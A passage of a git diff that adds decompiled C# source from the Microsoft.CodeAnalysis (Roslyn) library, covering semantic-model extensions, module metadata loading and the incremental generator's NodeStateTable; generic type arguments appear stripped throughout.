int position, SyntaxNode expression, SpeculativeBindingOption bindingOption) + { + return semanticModel.GetSpeculativeSymbolInfo(position, expression, bindingOption); + } + + public static TypeInfo GetTypeInfo(this SemanticModel semanticModel, SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return semanticModel.GetTypeInfo(node, cancellationToken); + } + + public static IAliasSymbol? GetAliasInfo(this SemanticModel semanticModel, SyntaxNode nameSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return semanticModel.GetAliasInfo(nameSyntax, cancellationToken); + } + + public static IAliasSymbol? GetSpeculativeAliasInfo(this SemanticModel semanticModel, int position, SyntaxNode nameSyntax, SpeculativeBindingOption bindingOption) + { + return semanticModel.GetSpeculativeAliasInfo(position, nameSyntax, bindingOption); + } + + public static TypeInfo GetSpeculativeTypeInfo(this SemanticModel semanticModel, int position, SyntaxNode expression, SpeculativeBindingOption bindingOption) + { + return semanticModel.GetSpeculativeTypeInfo(position, expression, bindingOption); + } + + public static ISymbol? GetDeclaredSymbol(this SemanticModel semanticModel, SyntaxNode declaration, CancellationToken cancellationToken = default(CancellationToken)) + { + return semanticModel.GetDeclaredSymbolForNode(declaration, cancellationToken); + } + + public static ImmutableArray GetMemberGroup(this SemanticModel semanticModel, SyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + return semanticModel.GetMemberGroup(node, cancellationToken); + } + + public static ControlFlowAnalysis AnalyzeControlFlow(this SemanticModel semanticModel, SyntaxNode firstStatement, SyntaxNode lastStatement) + { + return semanticModel.AnalyzeControlFlow(firstStatement, lastStatement); + } + + public static ControlFlowAnalysis AnalyzeControlFlow(this SemanticModel semanticModel, SyntaxNode statement) + { + return semanticModel.AnalyzeControlFlow(statement); + } + + public static DataFlowAnalysis AnalyzeDataFlow(this SemanticModel semanticModel, SyntaxNode firstStatement, SyntaxNode lastStatement) + { + return semanticModel.AnalyzeDataFlow(firstStatement, lastStatement); + } + + public static DataFlowAnalysis AnalyzeDataFlow(this SemanticModel semanticModel, SyntaxNode statementOrExpression) + { + return semanticModel.AnalyzeDataFlow(statementOrExpression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModifierInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModifierInfo.cs new file mode 100644 index 0000000..a65b040 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModifierInfo.cs @@ -0,0 +1,11 @@ +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +internal readonly struct ModifierInfo(bool isOptional, TypeSymbol modifier) where TypeSymbol : class +{ + internal readonly bool IsOptional = isOptional; + + internal readonly TypeSymbol Modifier = modifier; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModifierInfoExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModifierInfoExtensions.cs new file mode 100644 index 0000000..359ff69 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModifierInfoExtensions.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; +using System.Linq; + +namespace Microsoft.CodeAnalysis; + +internal static class ModifierInfoExtensions +{ + internal static bool AnyRequired(this ImmutableArray> modifiers) where TypeSymbol : class + { + if (!modifiers.IsDefaultOrEmpty) + { + return modifiers.Any((ModifierInfo m) => !m.IsOptional); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleCompilationState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleCompilationState.cs new file mode 100644 index 0000000..1ec4c4d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleCompilationState.cs @@ -0,0 +1,33 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal class ModuleCompilationState : CommonModuleCompilationState where TNamedTypeSymbol : class, INamedTypeSymbolInternal where TMethodSymbol : class, IMethodSymbolInternal +{ + private Dictionary? _lazyStateMachineTypes; + + internal void SetStateMachineType(TMethodSymbol method, TNamedTypeSymbol stateMachineClass) + { + if (_lazyStateMachineTypes == null) + { + Interlocked.CompareExchange(ref _lazyStateMachineTypes, new Dictionary(), null); + } + lock (_lazyStateMachineTypes) + { + _lazyStateMachineTypes.Add(method, stateMachineClass); + } + } + + internal bool TryGetStateMachineType(TMethodSymbol method, [NotNullWhen(true)] out TNamedTypeSymbol? stateMachineType) + { + stateMachineType = null; + if (_lazyStateMachineTypes != null) + { + return _lazyStateMachineTypes.TryGetValue(method, out stateMachineType); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleExtensions.cs new file mode 100644 index 0000000..cd4633f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleExtensions.cs @@ -0,0 +1,118 @@ +using System; +using System.Globalization; +using System.Reflection; +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis; + +internal static class ModuleExtensions +{ + private const string VTableGapMethodNamePrefix = "_VtblGap"; + + public static bool ShouldImportField(this PEModule module, FieldDefinitionHandle field, MetadataImportOptions importOptions) + { + try + { + return ShouldImportField(module.GetFieldDefFlagsOrThrow(field), importOptions); + } + catch (BadImageFormatException) + { + return true; + } + } + + public static bool ShouldImportField(FieldAttributes flags, MetadataImportOptions importOptions) + { + switch (flags & FieldAttributes.FieldAccessMask) + { + case FieldAttributes.PrivateScope: + case FieldAttributes.Private: + return importOptions == MetadataImportOptions.All; + case FieldAttributes.Assembly: + return (int)importOptions >= 1; + default: + return true; + } + } + + public static bool ShouldImportMethod(this PEModule module, TypeDefinitionHandle typeDef, MethodDefinitionHandle methodDef, MetadataImportOptions importOptions) + { + try + { + MethodAttributes methodDefFlagsOrThrow = module.GetMethodDefFlagsOrThrow(methodDef); + if ((methodDefFlagsOrThrow & MethodAttributes.Virtual) == 0 && !acceptBasedOnAccessibility(importOptions, methodDefFlagsOrThrow) && ((methodDefFlagsOrThrow & MethodAttributes.Static) == 0 || !isMethodImpl(typeDef, methodDef))) + { + return false; + } + } + catch (BadImageFormatException) + { + } + try + { + return !module.GetMethodDefNameOrThrow(methodDef).StartsWith("_VtblGap", StringComparison.Ordinal); + } + catch (BadImageFormatException) + { + return true; + } + static bool acceptBasedOnAccessibility(MetadataImportOptions metadataImportOptions, MethodAttributes flags) + { + switch (flags & MethodAttributes.MemberAccessMask) + { + case MethodAttributes.PrivateScope: + case MethodAttributes.Private: + if (metadataImportOptions != MetadataImportOptions.All) + { + return false; + } + break; + case MethodAttributes.Assembly: + if (metadataImportOptions == MetadataImportOptions.Public) + { + return false; + } + break; + } + return true; + } + bool isMethodImpl(TypeDefinitionHandle typeDef2, MethodDefinitionHandle methodDefinitionHandle) + { + foreach (MethodImplementationHandle item in module.GetMethodImplementationsOrThrow(typeDef2)) + { + module.GetMethodImplPropsOrThrow(item, out var body, out var _); + if (body == methodDefinitionHandle) + { + return true; + } + } + return false; + } + } + + public static int GetVTableGapSize(string emittedMethodName) + { + if (emittedMethodName.StartsWith("_VtblGap", StringComparison.Ordinal)) + { + int i; + for (i = "_VtblGap".Length; i < emittedMethodName.Length && char.IsDigit(emittedMethodName, i); i++) + { + } + if (i == "_VtblGap".Length || i >= emittedMethodName.Length - 1 || emittedMethodName[i] != '_' || !char.IsDigit(emittedMethodName, i + 1)) + { + return 1; + } + if (int.TryParse(emittedMethodName.Substring(i + 1), NumberStyles.None, CultureInfo.InvariantCulture, out var result) && result > 0) + { + return result; + } + return 1; + } + return 0; + } + + public static string GetVTableGapName(int sequenceNumber, int countOfSlots) + { + return $"_VtblGap{sequenceNumber}_{countOfSlots}"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleMetadata.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleMetadata.cs new file mode 100644 index 0000000..42ccb97 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleMetadata.cs @@ -0,0 +1,209 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Metadata; +using System.Reflection.PortableExecutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class ModuleMetadata : Metadata +{ + private readonly PEModule _module; + + private Action? _onDispose; + + private bool _isDisposed; + + public bool IsDisposed + { + get + { + if (!_isDisposed) + { + return _module.IsDisposed; + } + return true; + } + } + + internal PEModule Module + { + get + { + if (IsDisposed) + { + throw new ObjectDisposedException("ModuleMetadata"); + } + return _module; + } + } + + public string Name => Module.Name; + + public override MetadataImageKind Kind => MetadataImageKind.Module; + + internal MetadataReader MetadataReader => Module.MetadataReader; + + private ModuleMetadata(PEReader peReader, Action? onDispose) + : base(isImageOwner: true, MetadataId.CreateNewId()) + { + _module = new PEModule(this, peReader, IntPtr.Zero, 0, includeEmbeddedInteropTypes: false, ignoreAssemblyRefs: false); + _onDispose = onDispose; + } + + private ModuleMetadata(IntPtr metadata, int size, Action? onDispose, bool includeEmbeddedInteropTypes, bool ignoreAssemblyRefs) + : base(isImageOwner: true, MetadataId.CreateNewId()) + { + _module = new PEModule(this, null, metadata, size, includeEmbeddedInteropTypes, ignoreAssemblyRefs); + _onDispose = onDispose; + } + + private ModuleMetadata(ModuleMetadata metadata) + : base(isImageOwner: false, metadata.Id) + { + _module = metadata.Module; + } + + public static ModuleMetadata CreateFromMetadata(nint metadata, int size) + { + return CreateFromMetadataWorker(metadata, size, null); + } + + public static ModuleMetadata CreateFromMetadata(nint metadata, int size, Action onDispose) + { + if (onDispose == null) + { + throw new ArgumentNullException("onDispose"); + } + return CreateFromMetadataWorker(metadata, size, onDispose); + } + + private static ModuleMetadata CreateFromMetadataWorker(nint metadata, int size, Action? onDispose) + { + if (metadata == 0) + { + throw new ArgumentNullException("metadata"); + } + if (size <= 0) + { + throw new ArgumentOutOfRangeException(CodeAnalysisResources.SizeHasToBePositive, "size"); + } + return new ModuleMetadata(metadata, size, onDispose, includeEmbeddedInteropTypes: false, ignoreAssemblyRefs: false); + } + + internal static ModuleMetadata CreateFromMetadata(IntPtr metadata, int size, bool includeEmbeddedInteropTypes, bool ignoreAssemblyRefs = false) + { + return new ModuleMetadata(metadata, size, null, includeEmbeddedInteropTypes, ignoreAssemblyRefs); + } + + public unsafe static ModuleMetadata CreateFromImage(nint peImage, int size) + { + return CreateFromImage((byte*)peImage, size, null); + } + + private unsafe static ModuleMetadata CreateFromImage(byte* peImage, int size, Action? onDispose) + { + if (peImage == null) + { + throw new ArgumentNullException("peImage"); + } + if (size <= 0) + { + throw new ArgumentOutOfRangeException(CodeAnalysisResources.SizeHasToBePositive, "size"); + } + return new ModuleMetadata(new PEReader(peImage, size), onDispose); + } + + public static ModuleMetadata CreateFromImage(IEnumerable peImage) + { + if (peImage == null) + { + throw new ArgumentNullException("peImage"); + } + return CreateFromImage(ImmutableArray.CreateRange(peImage)); + } + + public static ModuleMetadata CreateFromImage(ImmutableArray peImage) + { + if (peImage.IsDefault) + { + throw new ArgumentNullException("peImage"); + } + return new ModuleMetadata(new PEReader(peImage), null); + } + + public static ModuleMetadata CreateFromStream(Stream peStream, bool leaveOpen = false) + { + return CreateFromStream(peStream, leaveOpen ? PEStreamOptions.LeaveOpen : PEStreamOptions.Default); + } + + public unsafe static ModuleMetadata CreateFromStream(Stream peStream, PEStreamOptions options) + { + if (peStream == null) + { + throw new ArgumentNullException("peStream"); + } + if (!peStream.CanRead || !peStream.CanSeek) + { + throw new ArgumentException(CodeAnalysisResources.StreamMustSupportReadAndSeek, "peStream"); + } + if ((options & (PEStreamOptions.PrefetchMetadata | PEStreamOptions.PrefetchEntireImage)) == 0 && peStream is UnmanagedMemoryStream unmanagedMemoryStream) + { + Action onDispose = (options.HasFlag(PEStreamOptions.LeaveOpen) ? null : new Action(unmanagedMemoryStream.Dispose)); + return CreateFromImage(unmanagedMemoryStream.PositionPointer, (int)Math.Min(unmanagedMemoryStream.Length, 2147483647L), onDispose); + } + if (peStream.Length == 0L && (options & PEStreamOptions.PrefetchEntireImage) != PEStreamOptions.Default && (options & PEStreamOptions.PrefetchMetadata) != PEStreamOptions.Default) + { + new PEHeaders(peStream); + } + return new ModuleMetadata(new PEReader(peStream, options), null); + } + + public static ModuleMetadata CreateFromFile(string path) + { + return CreateFromStream(StandardFileSystem.Instance.OpenFileWithNormalizedException(path, FileMode.Open, FileAccess.Read, FileShare.Read)); + } + + internal new ModuleMetadata Copy() + { + return new ModuleMetadata(this); + } + + protected override Metadata CommonCopy() + { + return Copy(); + } + + public override void Dispose() + { + _isDisposed = true; + if (IsImageOwner) + { + _module.Dispose(); + Interlocked.Exchange(ref _onDispose, null)?.Invoke(); + } + } + + public Guid GetModuleVersionId() + { + return Module.GetModuleVersionIdOrThrow(); + } + + public ImmutableArray GetModuleNames() + { + return Module.GetMetadataModuleNamesOrThrow(); + } + + public MetadataReader GetMetadataReader() + { + return MetadataReader; + } + + public PortableExecutableReference GetReference(DocumentationProvider? documentation = null, string? filePath = null, string? display = null) + { + return new MetadataImageReference(this, MetadataReferenceProperties.Module, documentation, filePath, display); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleReferences.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleReferences.cs new file mode 100644 index 0000000..0e8d4f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ModuleReferences.cs @@ -0,0 +1,20 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal sealed class ModuleReferences where TAssemblySymbol : class, IAssemblySymbolInternal +{ + public readonly ImmutableArray Identities; + + public readonly ImmutableArray Symbols; + + public readonly ImmutableArray> UnifiedAssemblies; + + public ModuleReferences(ImmutableArray identities, ImmutableArray symbols, ImmutableArray> unifiedAssemblies) + { + Identities = identities; + Symbols = symbols; + UnifiedAssemblies = unifiedAssemblies; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NamespaceKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NamespaceKind.cs new file mode 100644 index 0000000..7c5b86d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NamespaceKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum NamespaceKind +{ + Module = 1, + Assembly, + Compilation +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NoLocation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NoLocation.cs new file mode 100644 index 0000000..64768b2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NoLocation.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis; + +internal sealed class NoLocation : Location +{ + public static readonly Location Singleton = new NoLocation(); + + public override LocationKind Kind => LocationKind.None; + + private NoLocation() + { + } + + public override bool Equals(object? obj) + { + return this == obj; + } + + public override int GetHashCode() + { + return 373847894; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeExtensions.cs new file mode 100644 index 0000000..dee022d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeExtensions.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis; + +internal static class NodeExtensions +{ + public static void LogTables(this IIncrementalGeneratorNode self, string? name, NodeStateTable? previousTable, NodeStateTable newTable, NodeStateTable inputTable) + { + self.LogTables(name, previousTable, newTable, inputTable, null); + } + + public static void LogTables(this IIncrementalGeneratorNode self, string? name, NodeStateTable? previousTable, NodeStateTable newTable, NodeStateTable inputNode1, NodeStateTable? inputNode2) + { + if (CodeAnalysisEventSource.Log.IsEnabled()) + { + NodeStateTable nodeStateTable = ((newTable != previousTable) ? newTable : null); + CodeAnalysisEventSource.Log.NodeTransform(self.GetHashCode(), name ?? "", typeof(TSelf).FullName ?? "", previousTable?.GetHashCode() ?? (-1), previousTable?.GetPackedStates() ?? "", nodeStateTable?.GetHashCode() ?? (-1), nodeStateTable?.GetPackedStates() ?? "", inputNode1.GetHashCode(), inputNode2?.GetHashCode() ?? (-1)); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeStateEntry.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeStateEntry.cs new file mode 100644 index 0000000..e2b9b27 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeStateEntry.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis; + +internal readonly record struct NodeStateEntry(T Item, EntryState State, int OutputIndex, IncrementalGeneratorRunStep? Step); diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeStateTable.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeStateTable.cs new file mode 100644 index 0000000..6e4bcc8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/NodeStateTable.cs @@ -0,0 +1,640 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class NodeStateTable : IStateTable +{ + public struct Enumerator + { + private readonly NodeStateTable _stateTable; + + private int _nextStatesIndex; + + private int _nextInputEntryIndex; + + private IncrementalGeneratorRunStep? _step; + + private TableEntry _inputEntry; + + private NodeStateEntry _current; + + public NodeStateEntry Current => _current; + + public Enumerator(NodeStateTable stateTable) + { + _nextInputEntryIndex = 0; + _step = null; + _inputEntry = default(TableEntry); + _current = default(NodeStateEntry); + _stateTable = stateTable; + _nextStatesIndex = 0; + UpdateAfterNextStatesIndexModification(); + } + + public bool MoveNext() + { + while (_nextStatesIndex < _stateTable._states.Length) + { + if (_nextInputEntryIndex < _inputEntry.Count) + { + _current = new NodeStateEntry(_inputEntry.GetItem(_nextInputEntryIndex), _inputEntry.GetState(_nextInputEntryIndex), _nextInputEntryIndex, _step); + _nextInputEntryIndex++; + return true; + } + _nextStatesIndex++; + UpdateAfterNextStatesIndexModification(); + } + return false; + } + + private void UpdateAfterNextStatesIndexModification() + { + _nextInputEntryIndex = 0; + if (_nextStatesIndex < _stateTable._states.Length) + { + _step = (_stateTable.HasTrackedSteps ? _stateTable.Steps[_nextStatesIndex] : null); + _inputEntry = _stateTable._states[_nextStatesIndex]; + } + } + } + + public sealed class Builder + { + private readonly ArrayBuilder _states; + + private readonly NodeStateTable _previous; + + private readonly string? _name; + + private readonly IEqualityComparer _equalityComparer; + + private readonly ArrayBuilder? _steps; + + private int _insertedCount; + + [MemberNotNullWhen(true, "_steps")] + public bool TrackIncrementalSteps + { + [MemberNotNullWhen(true, "_steps")] + get + { + return _steps != null; + } + } + + public int Count => _states.Count; + + public IReadOnlyList Steps + { + get + { + IReadOnlyList steps = _steps; + return (IReadOnlyList)(steps ?? ((object)ImmutableArray.Empty)); + } + } + + internal Builder(NodeStateTable previous, string? name, bool stepTrackingEnabled, IEqualityComparer? equalityComparer, int? tableCapacity) + { + _states = ArrayBuilder.GetInstance(tableCapacity ?? previous.GetTotalEntryItemCount()); + _previous = previous; + _name = name; + _equalityComparer = equalityComparer ?? EqualityComparer.Default; + if (stepTrackingEnabled) + { + _steps = ArrayBuilder.GetInstance(); + } + } + + public bool TryRemoveEntries(TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs) + { + if (!TryGetPreviousEntry(out var previousEntry)) + { + return false; + } + TableEntry item = previousEntry.AsRemovedDueToInputRemoval(); + _states.Add(item); + RecordStepInfoForLastEntry(elapsedTime, stepInputs, EntryState.Removed); + return true; + } + + public bool TryRemoveEntries(TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, out OneOrMany entries) + { + if (!TryRemoveEntries(elapsedTime, stepInputs)) + { + entries = default(OneOrMany); + return false; + } + ArrayBuilder states = _states; + entries = states[states.Count - 1].Items; + return true; + } + + public bool TryUseCachedEntries(TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs) + { + if (!TryGetPreviousEntry(out var previousEntry)) + { + return false; + } + _states.Add(previousEntry); + RecordStepInfoForLastEntry(elapsedTime, stepInputs, EntryState.Cached); + return true; + } + + internal bool TryUseCachedEntries(TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, out TableEntry entry) + { + if (!TryUseCachedEntries(elapsedTime, stepInputs)) + { + entry = default(TableEntry); + return false; + } + ArrayBuilder states = _states; + entry = states[states.Count - 1]; + return true; + } + + public bool TryModifyEntry(T value, IEqualityComparer comparer, TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, EntryState overallInputState) + { + if (!TryGetPreviousEntry(out var previousEntry)) + { + return false; + } + if (previousEntry.Count == 0) + { + return false; + } + var (one, state, _) = GetModifiedItemAndState(previousEntry.GetItem(0), value, comparer); + _states.Add(new TableEntry(OneOrMany.Create(one), state)); + RecordStepInfoForLastEntry(elapsedTime, stepInputs, overallInputState); + return true; + } + + public bool TryModifyEntries(ImmutableArray outputs, IEqualityComparer comparer, TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, EntryState overallInputState) + { + if (!TryGetPreviousEntry(out var previousEntry)) + { + return false; + } + if (previousEntry.Count == 0 && outputs.Length == 0) + { + _states.Add(previousEntry); + if (TrackIncrementalSteps) + { + RecordStepInfoForLastEntry(elapsedTime, stepInputs, EntryState.Cached); + } + return true; + } + int capacity = Math.Max(previousEntry.Count, outputs.Length); + TableEntry.Builder builder = ((previousEntry.Count == outputs.Length) ? null : new TableEntry.Builder(capacity)); + int num = Math.Min(previousEntry.Count, outputs.Length); + for (int i = 0; i < num; i++) + { + T item = previousEntry.GetItem(i); + EntryState state = previousEntry.GetState(i); + T replacement = outputs[i]; + var (item2, entryState, flag) = GetModifiedItemAndState(item, replacement, comparer); + if (builder != null) + { + builder.Add(item2, entryState); + } + else if (!flag || entryState != state) + { + builder = new TableEntry.Builder(capacity); + for (int j = 0; j < i; j++) + { + builder.Add(previousEntry.GetItem(j), previousEntry.GetState(j)); + } + builder.Add(item2, entryState); + } + } + for (int k = num; k < previousEntry.Count; k++) + { + builder.Add(previousEntry.GetItem(k), EntryState.Removed); + } + for (int l = num; l < outputs.Length; l++) + { + builder.Add(outputs[l], EntryState.Added); + } + _states.Add(builder?.ToImmutableAndFree() ?? previousEntry); + RecordStepInfoForLastEntry(elapsedTime, stepInputs, overallInputState); + return true; + } + + public bool TryModifyEntries(ImmutableArray outputs, IEqualityComparer comparer, TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, EntryState overallInputState, out TableEntry entry) + { + if (!TryModifyEntries(outputs, comparer, elapsedTime, stepInputs, overallInputState)) + { + entry = default(TableEntry); + return false; + } + ArrayBuilder states = _states; + entry = states[states.Count - 1]; + return true; + } + + public void AddEntry(T value, EntryState state, TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, EntryState overallInputState) + { + _states.Add(new TableEntry(OneOrMany.Create(value), state)); + _insertedCount += ((state == EntryState.Added) ? 1 : 0); + RecordStepInfoForLastEntry(elapsedTime, stepInputs, overallInputState); + } + + public TableEntry AddEntries(ImmutableArray values, EntryState state, TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, EntryState overallInputState) + { + TableEntry tableEntry = new TableEntry(OneOrMany.Create(values), state); + _states.Add(tableEntry); + _insertedCount += ((state == EntryState.Added) ? 1 : 0); + RecordStepInfoForLastEntry(elapsedTime, stepInputs, overallInputState); + return tableEntry; + } + + private bool TryGetPreviousEntry(out TableEntry previousEntry) + { + int num = _states.Count - _insertedCount; + bool flag = _previous._states.Length > num; + previousEntry = (flag ? _previous._states[num] : default(TableEntry)); + return flag; + } + + private void RecordStepInfoForLastEntry(TimeSpan elapsedTime, ImmutableArray<(IncrementalGeneratorRunStep InputStep, int OutputIndex)> stepInputs, EntryState overallInputState) + { + if (TrackIncrementalSteps) + { + ArrayBuilder states = _states; + TableEntry tableEntry = states[states.Count - 1]; + ArrayBuilder<(object, IncrementalStepRunReason)> instance = ArrayBuilder<(object, IncrementalStepRunReason)>.GetInstance(tableEntry.Count); + for (int i = 0; i < tableEntry.Count; i++) + { + instance.Add((tableEntry.GetItem(i), AsStepState(overallInputState, tableEntry.GetState(i)))); + } + _steps.Add(new IncrementalGeneratorRunStep(_name, stepInputs, instance.ToImmutableAndFree(), elapsedTime)); + } + } + + private static IncrementalStepRunReason AsStepState(EntryState inputState, EntryState outputState) + { + switch (inputState) + { + case EntryState.Added: + if (outputState != EntryState.Added) + { + break; + } + return IncrementalStepRunReason.New; + case EntryState.Modified: + switch (outputState) + { + case EntryState.Modified: + return IncrementalStepRunReason.Modified; + case EntryState.Cached: + return IncrementalStepRunReason.Unchanged; + case EntryState.Removed: + return IncrementalStepRunReason.Removed; + case EntryState.Added: + return IncrementalStepRunReason.New; + } + break; + case EntryState.Cached: + if (outputState != EntryState.Cached) + { + break; + } + return IncrementalStepRunReason.Cached; + case EntryState.Removed: + if (outputState != EntryState.Removed) + { + break; + } + return IncrementalStepRunReason.Removed; + } + throw ExceptionUtilities.UnexpectedValue((inputState, outputState)); + } + + public NodeStateTable ToImmutableAndFree() + { + if (_states.Count == 0) + { + _states.Free(); + return NodeStateTable.Empty; + } + ImmutableArray immutableArray; + if (_states.Count == _previous.Count && _states.SequenceEqual(_previous._states, (TableEntry e1, TableEntry e2) => e1.Matches(e2, _equalityComparer))) + { + immutableArray = _previous._states; + _states.Free(); + } + else + { + immutableArray = _states.ToImmutableAndFree(); + } + return new NodeStateTable(immutableArray, TrackIncrementalSteps ? _steps.ToImmutableAndFree() : default(ImmutableArray), TrackIncrementalSteps, immutableArray.All((TableEntry s) => s.IsCached) && _previous.GetTotalEntryItemCount() == immutableArray.Sum((TableEntry s) => s.Count)); + } + + private static (T chosen, EntryState state, bool chosePrevious) GetModifiedItemAndState(T previous, T replacement, IEqualityComparer comparer) + { + if (!comparer.Equals(previous, replacement)) + { + return (chosen: replacement, state: EntryState.Modified, chosePrevious: false); + } + return (chosen: previous, state: EntryState.Cached, chosePrevious: true); + } + } + + internal readonly struct TableEntry + { + public struct Enumerator(TableEntry tableEntry) + { + private readonly TableEntry _entry = tableEntry; + + private int _index = -1; + + public T Current => _entry.GetItem(_index); + + public bool MoveNext() + { + _index++; + return _index < _entry.Count; + } + } + + public sealed class Builder + { + private readonly ArrayBuilder _items; + + private ArrayBuilder? _states; + + private EntryState? _currentState; + + private bool _anyRemoved; + + private readonly int _requestedCapacity; + + public Builder(int capacity) + { + _items = ArrayBuilder.GetInstance(capacity); + _requestedCapacity = capacity; + } + + public void Add(T item, EntryState state) + { + _items.Add(item); + _anyRemoved |= state == EntryState.Removed; + if (!_currentState.HasValue) + { + _currentState = state; + } + else if (_states != null) + { + _states.Add(state); + } + else if (_currentState != state) + { + _states = ArrayBuilder.GetInstance(_requestedCapacity); + int i = 0; + for (int num = _items.Count - 1; i < num; i++) + { + _states.Add(_currentState.Value); + } + _states.Add(state); + } + } + + public TableEntry ToImmutableAndFree() + { + return new TableEntry(_items.ToOneOrManyAndFree(), _states?.ToImmutableAndFree() ?? TableEntry.GetSingleArray(_currentState.Value), _anyRemoved); + } + } + + private static readonly ImmutableArray s_allAddedEntries = ImmutableArray.Create(EntryState.Added); + + private static readonly ImmutableArray s_allCachedEntries = ImmutableArray.Create(EntryState.Cached); + + private static readonly ImmutableArray s_allModifiedEntries = ImmutableArray.Create(EntryState.Modified); + + private static readonly ImmutableArray s_allRemovedEntries = ImmutableArray.Create(EntryState.Removed); + + private static readonly ImmutableArray s_allRemovedDueToInputRemoval = ImmutableArray.Create(EntryState.Removed); + + private readonly OneOrMany _items; + + private readonly bool _anyRemoved; + + private readonly ImmutableArray _states; + + public bool IsCached + { + get + { + if (!(_states == s_allCachedEntries)) + { + return _states.All((EntryState s) => s == EntryState.Cached); + } + return true; + } + } + + public bool IsRemovedDueToInputRemoval => _states == s_allRemovedDueToInputRemoval; + + public int Count => _items.Count; + + public OneOrMany Items => _items; + + public TableEntry(OneOrMany items, EntryState state) + : this(items, GetSingleArray(state), state == EntryState.Removed) + { + } + + private TableEntry(OneOrMany items, ImmutableArray states, bool anyRemoved) + { + _items = items; + _states = states; + _anyRemoved = anyRemoved; + } + + public bool Matches(TableEntry entry, IEqualityComparer equalityComparer) + { + if 